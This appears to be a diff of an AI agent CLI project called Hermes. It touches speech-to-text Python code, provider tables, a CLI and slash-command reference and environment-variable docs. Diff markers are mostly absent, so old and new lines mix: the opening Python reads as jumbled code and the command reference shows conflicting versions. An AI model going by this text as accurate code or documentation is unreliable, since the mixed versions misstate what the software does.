||||
model_name = model or local_cfg.get("model", DEFAULT_LOCAL_MODEL)
|
||||
return _transcribe_local(file_path, model_name)
|
||||
# Use provided model, or fall back to default
|
||||
if model is None:
|
||||
model = DEFAULT_STT_MODEL
|
||||
|
||||
if provider == "openai":
|
||||
openai_cfg = stt_config.get("openai", {})
|
||||
model_name = model or openai_cfg.get("model", DEFAULT_OPENAI_MODEL)
|
||||
return _transcribe_openai(file_path, model_name)
|
||||
try:
|
||||
from openai import OpenAI, APIError, APIConnectionError, APITimeoutError
|
||||
|
||||
# No provider available
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": (
|
||||
"No STT provider available. Install faster-whisper for free local "
|
||||
"transcription, or set VOICE_TOOLS_OPENAI_KEY for the OpenAI Whisper API."
|
||||
),
|
||||
}
|
||||
client = OpenAI(api_key=api_key, base_url="https://api.openai.com/v1")
|
||||
|
||||
with open(file_path, "rb") as audio_file:
|
||||
transcription = client.audio.transcriptions.create(
|
||||
model=model,
|
||||
file=audio_file,
|
||||
response_format="text",
|
||||
)
|
||||
|
||||
# The response is a plain string when response_format="text"
|
||||
transcript_text = str(transcription).strip()
|
||||
|
||||
logger.info("Transcribed %s (%d chars)", audio_path.name, len(transcript_text))
|
||||
|
||||
return {
|
||||
"success": True,
|
||||
"transcript": transcript_text,
|
||||
}
|
||||
|
||||
except PermissionError:
|
||||
logger.error("Permission denied accessing file: %s", file_path, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Permission denied: {file_path}",
|
||||
}
|
||||
except APIConnectionError as e:
|
||||
logger.error("API connection error during transcription: %s", e, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Connection error: {e}",
|
||||
}
|
||||
except APITimeoutError as e:
|
||||
logger.error("API timeout during transcription: %s", e, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Request timeout: {e}",
|
||||
}
|
||||
except APIError as e:
|
||||
logger.error("OpenAI API error during transcription: %s", e, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"API error: {e}",
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error("Unexpected error during transcription: %s", e, exc_info=True)
|
||||
return {
|
||||
"success": False,
|
||||
"transcript": "",
|
||||
"error": f"Transcription failed: {e}",
|
||||
}
|
||||
|
||||
+1
-1
@@ -65,7 +65,7 @@ DEFAULT_ELEVENLABS_VOICE_ID = "pNInz6obpgDQGcFmaJgB" # Adam
|
||||
DEFAULT_ELEVENLABS_MODEL_ID = "eleven_multilingual_v2"
|
||||
DEFAULT_OPENAI_MODEL = "gpt-4o-mini-tts"
|
||||
DEFAULT_OPENAI_VOICE = "alloy"
|
||||
DEFAULT_OUTPUT_DIR = str(Path(os.getenv("HERMES_HOME", Path.home() / ".hermes")) / "audio_cache")
|
||||
DEFAULT_OUTPUT_DIR = os.path.expanduser("~/.hermes/audio_cache")
|
||||
MAX_TEXT_LENGTH = 4000
|
||||
|
||||
|
||||
|
||||
@@ -44,12 +44,8 @@ hermes setup # Or configure everything at once
|
||||
| **Nous Portal** | Subscription-based, zero-config | OAuth login via `hermes model` |
|
||||
| **OpenAI Codex** | ChatGPT OAuth, uses Codex models | Device code auth via `hermes model` |
|
||||
| **Anthropic** | Claude models directly (Pro/Max or API key) | API key or Claude Code setup-token |
|
||||
| **OpenRouter** | Multi-provider routing across many models | Enter your API key |
|
||||
| **Z.AI** | GLM / Zhipu-hosted models | Set `GLM_API_KEY` / `ZAI_API_KEY` |
|
||||
| **Kimi / Moonshot** | Moonshot-hosted coding and chat models | Set `KIMI_API_KEY` |
|
||||
| **MiniMax** | International MiniMax endpoint | Set `MINIMAX_API_KEY` |
|
||||
| **MiniMax China** | China-region MiniMax endpoint | Set `MINIMAX_CN_API_KEY` |
|
||||
| **Custom Endpoint** | VLLM, SGLang, or any OpenAI-compatible API | Set base URL + API key |
|
||||
| **OpenRouter** | 200+ models, pay-per-use | Enter your API key |
|
||||
| **Custom Endpoint** | VLLM, SGLang, any OpenAI-compatible API | Set base URL + API key |
|
||||
|
||||
:::tip
|
||||
You can switch providers at any time with `hermes model` — no code changes, no lock-in.
|
||||
@@ -123,7 +119,7 @@ hermes config set terminal.backend ssh # Remote server
|
||||
|
||||
### Connect messaging platforms
|
||||
|
||||
Chat with Hermes from your phone or other surfaces via Telegram, Discord, Slack, WhatsApp, Signal, Email, or Home Assistant:
|
||||
Chat with Hermes from your phone via Telegram, Discord, Slack, or WhatsApp:
|
||||
|
||||
```bash
|
||||
hermes gateway setup # Interactive platform configuration
|
||||
@@ -142,7 +138,6 @@ The agent will set up a cron job that runs automatically via the gateway.
|
||||
```bash
|
||||
hermes skills search kubernetes
|
||||
hermes skills install openai/skills/k8s
|
||||
hermes skills install official/security/1password
|
||||
```
|
||||
|
||||
Or use the `/skills` slash command inside chat.
|
||||
@@ -180,5 +175,5 @@ mcp_servers:
|
||||
|
||||
- **[CLI Guide](../user-guide/cli.md)** — Master the terminal interface
|
||||
- **[Configuration](../user-guide/configuration.md)** — Customize your setup
|
||||
- **[Messaging Gateway](../user-guide/messaging/index.md)** — Connect Telegram, Discord, Slack, WhatsApp, Signal, Email, or Home Assistant
|
||||
- **[Messaging Gateway](../user-guide/messaging/index.md)** — Connect Telegram, Discord, Slack, WhatsApp
|
||||
- **[Tools & Toolsets](../user-guide/features/tools.md)** — Explore available capabilities
|
||||
|
||||
@@ -1,349 +1,231 @@
|
||||
---
|
||||
sidebar_position: 1
|
||||
title: "CLI Commands Reference"
|
||||
description: "Authoritative reference for Hermes terminal commands and command families"
|
||||
description: "Comprehensive reference for all hermes CLI commands and slash commands"
|
||||
---
|
||||
|
||||
# CLI Commands Reference
|
||||
|
||||
This page covers the **terminal commands** you run from your shell.
|
||||
## Terminal Commands
|
||||
|
||||
For in-chat slash commands, see [Slash Commands Reference](./slash-commands.md).
|
||||
These are commands you run from your shell.
|
||||
|
||||
## Global entrypoint
|
||||
|
||||
```bash
|
||||
hermes [global-options] <command> [subcommand/options]
|
||||
```
|
||||
|
||||
### Global options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--version`, `-V` | Show version and exit. |
|
||||
| `--resume <session>`, `-r <session>` | Resume a previous session by ID or title. |
|
||||
| `--continue [name]`, `-c [name]` | Resume the most recent session, or the most recent session matching a title. |
|
||||
| `--worktree`, `-w` | Start in an isolated git worktree for parallel-agent workflows. |
|
||||
| `--yolo` | Bypass dangerous-command approval prompts. |
|
||||
| `--pass-session-id` | Include the session ID in the agent's system prompt. |
|
||||
|
||||
## Top-level commands
|
||||
|
||||
| Command | Purpose |
|
||||
|---------|---------|
|
||||
| `hermes chat` | Interactive or one-shot chat with the agent. |
|
||||
| `hermes model` | Interactively choose the default provider and model. |
|
||||
| `hermes gateway` | Run or manage the messaging gateway service. |
|
||||
| `hermes setup` | Interactive setup wizard for all or part of the configuration. |
|
||||
| `hermes whatsapp` | Configure and pair the WhatsApp bridge. |
|
||||
| `hermes login` / `logout` | Authenticate with OAuth-backed providers. |
|
||||
| `hermes status` | Show agent, auth, and platform status. |
|
||||
| `hermes cron` | Inspect and tick the cron scheduler. |
|
||||
| `hermes doctor` | Diagnose config and dependency issues. |
|
||||
| `hermes config` | Show, edit, migrate, and query configuration files. |
|
||||
| `hermes pairing` | Approve or revoke messaging pairing codes. |
|
||||
| `hermes skills` | Browse, install, publish, audit, and configure skills. |
|
||||
| `hermes honcho` | Manage Honcho cross-session memory integration. |
|
||||
| `hermes tools` | Configure enabled tools per platform. |
|
||||
| `hermes sessions` | Browse, export, prune, rename, and delete sessions. |
|
||||
| `hermes insights` | Show token/cost/activity analytics. |
|
||||
| `hermes claw` | OpenClaw migration helpers. |
|
||||
| `hermes version` | Show version information. |
|
||||
| `hermes update` | Pull latest code and reinstall dependencies. |
|
||||
| `hermes uninstall` | Remove Hermes from the system. |
|
||||
|
||||
## `hermes chat`
|
||||
|
||||
```bash
|
||||
hermes chat [options]
|
||||
```
|
||||
|
||||
Common options:
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `-q`, `--query "..."` | One-shot, non-interactive prompt. |
|
||||
| `-m`, `--model <model>` | Override the model for this run. |
|
||||
| `-t`, `--toolsets <csv>` | Enable a comma-separated set of toolsets. |
|
||||
| `--provider <provider>` | Force a provider: `auto`, `openrouter`, `nous`, `openai-codex`, `anthropic`, `zai`, `kimi-coding`, `minimax`, `minimax-cn`. |
|
||||
| `-v`, `--verbose` | Verbose output. |
|
||||
| `-Q`, `--quiet` | Programmatic mode: suppress banner/spinner/tool previews. |
|
||||
| `--resume <session>` / `--continue [name]` | Resume a session directly from `chat`. |
|
||||
| `--worktree` | Create an isolated git worktree for this run. |
|
||||
| `--checkpoints` | Enable filesystem checkpoints before destructive file changes. |
|
||||
| `--yolo` | Skip approval prompts. |
|
||||
| `--pass-session-id` | Pass the session ID into the system prompt. |
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
hermes
|
||||
hermes chat -q "Summarize the latest PRs"
|
||||
hermes chat --provider openrouter --model anthropic/claude-sonnet-4.6
|
||||
hermes chat --toolsets web,terminal,skills
|
||||
hermes chat --quiet -q "Return only JSON"
|
||||
hermes chat --worktree -q "Review this repo and open a PR"
|
||||
```
|
||||
|
||||
## `hermes model`
|
||||
|
||||
Interactive provider + model selector.
|
||||
|
||||
```bash
|
||||
hermes model
|
||||
```
|
||||
|
||||
Use this when you want to:
|
||||
- switch default providers
|
||||
- log into OAuth-backed providers during model selection
|
||||
- pick from provider-specific model lists
|
||||
- save the new default into config
|
||||
|
||||
## `hermes gateway`
|
||||
|
||||
```bash
|
||||
hermes gateway <subcommand>
|
||||
```
|
||||
|
||||
Subcommands:
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `run` | Run the gateway in the foreground. |
|
||||
| `start` | Start the installed gateway service. |
|
||||
| `stop` | Stop the service. |
|
||||
| `restart` | Restart the service. |
|
||||
| `status` | Show service status. |
|
||||
| `install` | Install as a user service (`systemd` on Linux, `launchd` on macOS). |
|
||||
| `uninstall` | Remove the installed service. |
|
||||
| `setup` | Interactive messaging-platform setup. |
|
||||
|
||||
## `hermes setup`
|
||||
|
||||
```bash
|
||||
hermes setup [model|terminal|gateway|tools|agent] [--non-interactive] [--reset]
|
||||
```
|
||||
|
||||
Use the full wizard or jump into one section:
|
||||
|
||||
| Section | Description |
|
||||
|---------|-------------|
|
||||
| `model` | Provider and model setup. |
|
||||
| `terminal` | Terminal backend and sandbox setup. |
|
||||
| `gateway` | Messaging platform setup. |
|
||||
| `tools` | Enable/disable tools per platform. |
|
||||
| `agent` | Agent behavior settings. |
|
||||
|
||||
Options:
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--non-interactive` | Use defaults / environment values without prompts. |
|
||||
| `--reset` | Reset configuration to defaults before setup. |
|
||||
|
||||
## `hermes whatsapp`
|
||||
|
||||
```bash
|
||||
hermes whatsapp
|
||||
```
|
||||
|
||||
Runs the WhatsApp pairing/setup flow, including mode selection and QR-code pairing.
|
||||
|
||||
## `hermes login` / `hermes logout`
|
||||
|
||||
```bash
|
||||
hermes login [--provider nous|openai-codex] [--portal-url ...] [--inference-url ...]
|
||||
hermes logout [--provider nous|openai-codex]
|
||||
```
|
||||
|
||||
`login` supports:
|
||||
- Nous Portal OAuth/device flow
|
||||
- OpenAI Codex OAuth/device flow
|
||||
|
||||
Useful options for `login`:
|
||||
- `--no-browser`
|
||||
- `--timeout <seconds>`
|
||||
- `--ca-bundle <pem>`
|
||||
- `--insecure`
|
||||
|
||||
## `hermes status`
|
||||
|
||||
```bash
|
||||
hermes status [--all] [--deep]
|
||||
```
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--all` | Show all details in a shareable redacted format. |
|
||||
| `--deep` | Run deeper checks that may take longer. |
|
||||
|
||||
## `hermes cron`
|
||||
|
||||
```bash
|
||||
hermes cron <list|status|tick>
|
||||
```
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `list` | Show scheduled jobs. |
|
||||
| `status` | Check whether the cron scheduler is running. |
|
||||
| `tick` | Run due jobs once and exit. |
|
||||
|
||||
## `hermes doctor`
|
||||
|
||||
```bash
|
||||
hermes doctor [--fix]
|
||||
```
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--fix` | Attempt automatic repairs where possible. |
|
||||
|
||||
## `hermes config`
|
||||
|
||||
```bash
|
||||
hermes config <subcommand>
|
||||
```
|
||||
|
||||
Subcommands:
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `show` | Show current config values. |
|
||||
| `edit` | Open `config.yaml` in your editor. |
|
||||
| `set <key> <value>` | Set a config value. |
|
||||
| `path` | Print the config file path. |
|
||||
| `env-path` | Print the `.env` file path. |
|
||||
| `check` | Check for missing or stale config. |
|
||||
| `migrate` | Add newly introduced options interactively. |
|
||||
|
||||
## `hermes pairing`
|
||||
|
||||
```bash
|
||||
hermes pairing <list|approve|revoke|clear-pending>
|
||||
```
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `list` | Show pending and approved users. |
|
||||
| `approve <platform> <code>` | Approve a pairing code. |
|
||||
| `revoke <platform> <user-id>` | Revoke a user's access. |
|
||||
| `clear-pending` | Clear pending pairing codes. |
|
||||
|
||||
## `hermes skills`
|
||||
|
||||
```bash
|
||||
hermes skills <subcommand>
|
||||
```
|
||||
|
||||
Subcommands:
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `browse` | Paginated browser for skill registries. |
|
||||
| `search` | Search skill registries. |
|
||||
| `install` | Install a skill. |
|
||||
| `inspect` | Preview a skill without installing it. |
|
||||
| `list` | List installed skills. |
|
||||
| `audit` | Re-scan installed hub skills. |
|
||||
| `uninstall` | Remove a hub-installed skill. |
|
||||
| `publish` | Publish a skill to a registry. |
|
||||
| `snapshot` | Export/import skill configurations. |
|
||||
| `tap` | Manage custom skill sources. |
|
||||
| `config` | Interactive enable/disable configuration for skills by platform. |
|
||||
|
||||
Common examples:
|
||||
|
||||
```bash
|
||||
hermes skills browse
|
||||
hermes skills browse --source official
|
||||
hermes skills search kubernetes
|
||||
hermes skills inspect official/security/1password
|
||||
hermes skills install official/migration/openclaw-migration
|
||||
hermes skills config
|
||||
```
|
||||
|
||||
## `hermes honcho`
|
||||
|
||||
```bash
|
||||
hermes honcho <subcommand>
|
||||
```
|
||||
|
||||
Subcommands:
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `setup` | Interactive Honcho setup wizard. |
|
||||
| `status` | Show current Honcho config and connection status. |
|
||||
| `sessions` | List known Honcho session mappings. |
|
||||
| `map` | Map the current directory to a Honcho session name. |
|
||||
| `peer` | Show or update peer names and dialectic reasoning level. |
|
||||
| `mode` | Show or set memory mode: `hybrid`, `honcho`, or `local`. |
|
||||
| `tokens` | Show or set token budgets for context and dialectic. |
|
||||
| `identity` | Seed or show the AI peer identity representation. |
|
||||
| `migrate` | Migration guide from openclaw-honcho to Hermes Honcho. |
|
||||
|
||||
## `hermes tools`
|
||||
|
||||
```bash
|
||||
hermes tools [--summary]
|
||||
```
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--summary` | Print the current enabled-tools summary and exit. |
|
||||
|
||||
Without `--summary`, this launches the interactive per-platform tool configuration UI.
|
||||
|
||||
## `hermes sessions`
|
||||
|
||||
```bash
|
||||
hermes sessions <subcommand>
|
||||
```
|
||||
|
||||
Subcommands:
|
||||
|
||||
| Subcommand | Description |
|
||||
|------------|-------------|
|
||||
| `list` | List recent sessions. |
|
||||
| `browse` | Interactive session picker with search and resume. |
|
||||
| `export <output> [--session-id ID]` | Export sessions to JSONL. |
|
||||
| `delete <session-id>` | Delete one session. |
|
||||
| `prune` | Delete old sessions. |
|
||||
| `stats` | Show session-store statistics. |
|
||||
| `rename <session-id> <title>` | Set or change a session title. |
|
||||
|
||||
## `hermes insights`
|
||||
|
||||
```bash
|
||||
hermes insights [--days N] [--source platform]
|
||||
```
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--days <n>` | Analyze the last `n` days (default: 30). |
|
||||
| `--source <platform>` | Filter by source such as `cli`, `telegram`, or `discord`. |
|
||||
|
||||
## `hermes claw`
|
||||
|
||||
```bash
|
||||
hermes claw migrate
|
||||
```
|
||||
|
||||
Used to migrate settings, memories, skills, and keys from OpenClaw to Hermes.
|
||||
|
||||
## Maintenance commands
|
||||
### Core Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes version` | Print version information. |
|
||||
| `hermes update` | Pull latest changes and reinstall dependencies. |
|
||||
| `hermes uninstall [--full] [--yes]` | Remove Hermes, optionally deleting all config/data. |
|
||||
| `hermes` | Start interactive chat (default) |
|
||||
| `hermes chat -q "Hello"` | Single query mode (non-interactive) |
|
||||
| `hermes chat --continue` / `-c` | Resume the most recent session |
|
||||
| `hermes chat -c "my project"` | Resume a session by name (latest in lineage) |
|
||||
| `hermes chat --resume <id>` / `-r <id>` | Resume a specific session by ID or title |
|
||||
| `hermes chat --model <name>` | Use a specific model |
|
||||
| `hermes chat --provider <name>` | Force a provider (`nous`, `openrouter`, `zai`, `kimi-coding`, `minimax`, `minimax-cn`) |
|
||||
| `hermes chat --toolsets "web,terminal"` / `-t` | Use specific toolsets |
|
||||
| `hermes chat --verbose` | Enable verbose/debug output |
|
||||
| `hermes --worktree` / `-w` | Start in an isolated git worktree (for parallel agents) |
|
||||
| `hermes --checkpoints` | Enable filesystem checkpoints before destructive file operations |
|
||||
|
||||
## See also
|
||||
### Provider & Model Management
|
||||
|
||||
- [Slash Commands Reference](./slash-commands.md)
|
||||
- [CLI Interface](../user-guide/cli.md)
|
||||
- [Sessions](../user-guide/sessions.md)
|
||||
- [Skills System](../user-guide/features/skills.md)
|
||||
- [Skins & Themes](../user-guide/features/skins.md)
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes model` | Switch provider and model interactively |
|
||||
| `hermes login` | OAuth login to a provider (use `--provider` to specify) |
|
||||
| `hermes logout` | Clear provider authentication |
|
||||
|
||||
### Configuration
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes setup` | Full setup wizard — configures provider, model, terminal, and messaging all at once |
|
||||
| `hermes config` | View current configuration |
|
||||
| `hermes config edit` | Open config.yaml in your editor |
|
||||
| `hermes config set KEY VAL` | Set a specific value |
|
||||
| `hermes config check` | Check for missing config (useful after updates) |
|
||||
| `hermes config migrate` | Interactively add missing options |
|
||||
| `hermes tools` | Interactive tool configuration per platform |
|
||||
| `hermes status` | Show configuration status (including auth) |
|
||||
| `hermes doctor` | Diagnose issues |
|
||||
|
||||
### Maintenance
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes update` | Update to latest version |
|
||||
| `hermes uninstall` | Uninstall (can keep configs for later reinstall) |
|
||||
| `hermes version` | Show version info |
|
||||
|
||||
### Gateway (Messaging + Cron)
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes gateway` | Run gateway in foreground |
|
||||
| `hermes gateway setup` | Configure messaging platforms interactively |
|
||||
| `hermes gateway install` | Install as system service (Linux/macOS) |
|
||||
| `hermes gateway start` | Start the service |
|
||||
| `hermes gateway stop` | Stop the service |
|
||||
| `hermes gateway restart` | Restart the service |
|
||||
| `hermes gateway status` | Check service status |
|
||||
| `hermes gateway uninstall` | Uninstall the system service |
|
||||
| `hermes whatsapp` | Pair WhatsApp via QR code |
|
||||
|
||||
### Skills
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes skills browse` | Browse all available skills with pagination (official first) |
|
||||
| `hermes skills search <query>` | Search skill registries |
|
||||
| `hermes skills install <identifier>` | Install a skill (with security scan) |
|
||||
| `hermes skills inspect <identifier>` | Preview before installing |
|
||||
| `hermes skills list` | List installed skills |
|
||||
| `hermes skills list --source hub` | List hub-installed skills only |
|
||||
| `hermes skills audit` | Re-scan all hub skills |
|
||||
| `hermes skills uninstall <name>` | Remove a hub skill |
|
||||
| `hermes skills publish <path> --to github --repo owner/repo` | Publish a skill |
|
||||
| `hermes skills snapshot export <file>` | Export skill config |
|
||||
| `hermes skills snapshot import <file>` | Import from snapshot |
|
||||
| `hermes skills tap add <repo>` | Add a custom source |
|
||||
| `hermes skills tap remove <repo>` | Remove a source |
|
||||
| `hermes skills tap list` | List custom sources |
|
||||
|
||||
### Cron & Pairing
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes cron list` | View scheduled jobs |
|
||||
| `hermes cron status` | Check if cron scheduler is running |
|
||||
| `hermes cron tick` | Manually trigger a cron tick |
|
||||
| `hermes pairing list` | View pending + approved users |
|
||||
| `hermes pairing approve <platform> <code>` | Approve a pairing code |
|
||||
| `hermes pairing revoke <platform> <user_id>` | Remove user access |
|
||||
| `hermes pairing clear-pending` | Clear all pending pairing requests |
|
||||
|
||||
### Sessions
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes sessions list` | Browse past sessions (shows title, preview, last active) |
|
||||
| `hermes sessions rename <id> <title>` | Set or change a session's title |
|
||||
| `hermes sessions export <id>` | Export a session |
|
||||
| `hermes sessions delete <id>` | Delete a specific session |
|
||||
| `hermes sessions prune` | Remove old sessions |
|
||||
| `hermes sessions stats` | Show session statistics |
|
||||
|
||||
### Insights
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `hermes insights` | Show usage analytics for the last 30 days |
|
||||
| `hermes insights --days 7` | Analyze a custom time window |
|
||||
| `hermes insights --source telegram` | Filter by platform |
|
||||
|
||||
---
|
||||
|
||||
## Slash Commands (Inside Chat)
|
||||
|
||||
Type `/` in the interactive CLI to see an autocomplete dropdown.
|
||||
|
||||
### Navigation & Control
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/help` | Show available commands |
|
||||
| `/quit` | Exit the CLI (aliases: `/exit`, `/q`) |
|
||||
| `/clear` | Clear screen and reset conversation |
|
||||
| `/new` | Start a new conversation |
|
||||
| `/reset` | Reset conversation only (keep screen) |
|
||||
|
||||
### Tools & Configuration
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/tools` | List all available tools |
|
||||
| `/toolsets` | List available toolsets |
|
||||
| `/model [provider:model]` | Show or change the current model (supports `provider:model` syntax to switch providers) |
|
||||
| `/provider` | Show available providers with auth status |
|
||||
| `/config` | Show current configuration |
|
||||
| `/prompt [text]` | View/set custom system prompt |
|
||||
| `/personality [name]` | Set a predefined personality |
|
||||
| `/reasoning [arg]` | Manage reasoning effort and display. Args: effort level (`none`, `low`, `medium`, `high`, `xhigh`) or display toggle (`show`, `hide`). No args shows current state. |
|
||||
|
||||
### Conversation
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/history` | Show conversation history |
|
||||
| `/retry` | Retry the last message |
|
||||
| `/undo` | Remove the last user/assistant exchange |
|
||||
| `/save` | Save the current conversation |
|
||||
| `/compress` | Manually compress conversation context |
|
||||
| `/title [name]` | Set or show the current session's title |
|
||||
| `/usage` | Show token usage for this session |
|
||||
| `/insights [--days N]` | Show usage insights and analytics (last 30 days) |
|
||||
|
||||
#### /compress
|
||||
|
||||
Manually triggers context compression on the current conversation. This summarizes middle turns of the conversation while preserving the first 3 and last 4 turns, significantly reducing token count. Useful when:
|
||||
|
||||
- The conversation is getting long and you want to reduce costs
|
||||
- You're approaching the model's context limit
|
||||
- You want to continue the conversation without starting fresh
|
||||
|
||||
Requirements: at least 4 messages in the conversation. The configured model (or `compression.summary_model` from config) is used to generate the summary. After compression, the session continues seamlessly with the compressed history.
|
||||
|
||||
Reports the result as: `Compressed: X → Y messages, ~N → ~M tokens`.
|
||||
|
||||
:::tip
|
||||
Compression also happens automatically when approaching context limits (configurable via `compression.threshold` in `config.yaml`). Use `/compress` when you want to trigger it early.
|
||||
:::
|
||||
|
||||
### Media & Input
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/paste` | Check clipboard for an image and attach it (see [Vision & Image Paste](/docs/user-guide/features/vision)) |
|
||||
|
||||
### Skills & Scheduling
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/cron` | Manage scheduled tasks |
|
||||
| `/skills` | Browse, search, install, inspect, or manage skills |
|
||||
| `/platforms` | Show gateway/messaging platform status |
|
||||
| `/verbose` | Cycle tool progress: off → new → all → verbose |
|
||||
| `/<skill-name>` | Invoke any installed skill |
|
||||
|
||||
### Gateway-Only Commands
|
||||
|
||||
These work in messaging platforms (Telegram, Discord, Slack, WhatsApp) but not the interactive CLI:
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `/stop` | Stop the running agent (no follow-up message) |
|
||||
| `/sethome` | Set this chat as the home channel |
|
||||
| `/status` | Show session info |
|
||||
| `/reload-mcp` | Reload MCP servers from config |
|
||||
| `/rollback` | List filesystem checkpoints for the current directory |
|
||||
| `/rollback <N>` | Restore files to checkpoint #N |
|
||||
| `/update` | Update Hermes Agent to the latest version |
|
||||
|
||||
---
|
||||
|
||||
## Keybindings
|
||||
|
||||
| Key | Action |
|
||||
|-----|--------|
|
||||
| `Enter` | Send message |
|
||||
| `Alt+Enter` / `Ctrl+J` | New line (multi-line input) |
|
||||
| `Alt+V` | Paste image from clipboard (see [Vision & Image Paste](/docs/user-guide/features/vision)) |
|
||||
| `Ctrl+V` | Paste text + auto-check for clipboard image |
|
||||
| `Ctrl+C` | Clear input/images, interrupt agent, or exit (contextual) |
|
||||
| `Ctrl+D` | Exit |
|
||||
| `Tab` | Autocomplete slash commands |
|
||||
|
||||
:::tip
|
||||
Commands are case-insensitive — `/HELP` works the same as `/help`.
|
||||
:::
|
||||
|
||||
:::info Image paste keybindings
|
||||
`Alt+V` works in most terminals but **not** in VSCode's integrated terminal (VSCode intercepts Alt+key combos). `Ctrl+V` only triggers an image check when the clipboard also contains text (terminals don't send paste events for image-only clipboard). The `/paste` command is the universal fallback. See the [full compatibility table](/docs/user-guide/features/vision#platform-compatibility).
|
||||
:::
|
||||
|
||||
@@ -13,12 +13,9 @@ All variables go in `~/.hermes/.env`. You can also set them with `hermes config
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `OPENROUTER_API_KEY` | OpenRouter API key (recommended for flexibility) |
|
||||
| `OPENROUTER_BASE_URL` | Override the OpenRouter-compatible base URL |
|
||||
| `OPENAI_API_KEY` | API key for custom OpenAI-compatible endpoints (used with `OPENAI_BASE_URL`) |
|
||||
| `OPENAI_BASE_URL` | Base URL for custom endpoint (VLLM, SGLang, etc.) |
|
||||
| `GLM_API_KEY` | z.ai / ZhipuAI GLM API key ([z.ai](https://z.ai)) |
|
||||
| `ZAI_API_KEY` | Alias for `GLM_API_KEY` |
|
||||
| `Z_AI_API_KEY` | Alias for `GLM_API_KEY` |
|
||||
| `GLM_BASE_URL` | Override z.ai base URL (default: `https://api.z.ai/api/paas/v4`) |
|
||||
| `KIMI_API_KEY` | Kimi / Moonshot AI API key ([moonshot.ai](https://platform.moonshot.ai)) |
|
||||
| `KIMI_BASE_URL` | Override Kimi base URL (default: `https://api.moonshot.ai/v1`) |
|
||||
@@ -38,14 +35,11 @@ All variables go in `~/.hermes/.env`. You can also set them with `hermes config
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `HERMES_INFERENCE_PROVIDER` | Override provider selection: `auto`, `openrouter`, `nous`, `openai-codex`, `anthropic`, `zai`, `kimi-coding`, `minimax`, `minimax-cn` (default: `auto`) |
|
||||
| `HERMES_INFERENCE_PROVIDER` | Override provider selection: `auto`, `openrouter`, `nous`, `anthropic`, `zai`, `kimi-coding`, `minimax`, `minimax-cn` (default: `auto`) |
|
||||
| `HERMES_PORTAL_BASE_URL` | Override Nous Portal URL (for development/testing) |
|
||||
| `NOUS_INFERENCE_BASE_URL` | Override Nous inference API URL |
|
||||
| `HERMES_NOUS_MIN_KEY_TTL_SECONDS` | Min agent key TTL before re-mint (default: 1800 = 30min) |
|
||||
| `HERMES_NOUS_TIMEOUT_SECONDS` | HTTP timeout for Nous credential / token flows |
|
||||
| `HERMES_DUMP_REQUESTS` | Dump API request payloads to log files (`true`/`false`) |
|
||||
| `HERMES_PREFILL_MESSAGES_FILE` | Path to a JSON file of ephemeral prefill messages injected at API-call time |
|
||||
| `HERMES_TIMEZONE` | IANA timezone override (for example `America/New_York`) |
|
||||
|
||||
## Tool APIs
|
||||
|
||||
@@ -102,67 +96,46 @@ All variables go in `~/.hermes/.env`. You can also set them with `hermes config
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `TELEGRAM_BOT_TOKEN` | Telegram bot token (from @BotFather) |
|
||||
| `TELEGRAM_ALLOWED_USERS` | Comma-separated user IDs allowed to use the bot |
|
||||
| `TELEGRAM_HOME_CHANNEL` | Default Telegram chat/channel for cron delivery |
|
||||
| `TELEGRAM_HOME_CHANNEL_NAME` | Display name for the Telegram home channel |
|
||||
| `TELEGRAM_ALLOWED_USERS` | Comma-separated user IDs allowed to use bot |
|
||||
| `TELEGRAM_HOME_CHANNEL` | Default channel for cron delivery |
|
||||
| `TELEGRAM_HOME_CHANNEL_NAME` | Display name for home channel |
|
||||
| `DISCORD_BOT_TOKEN` | Discord bot token |
|
||||
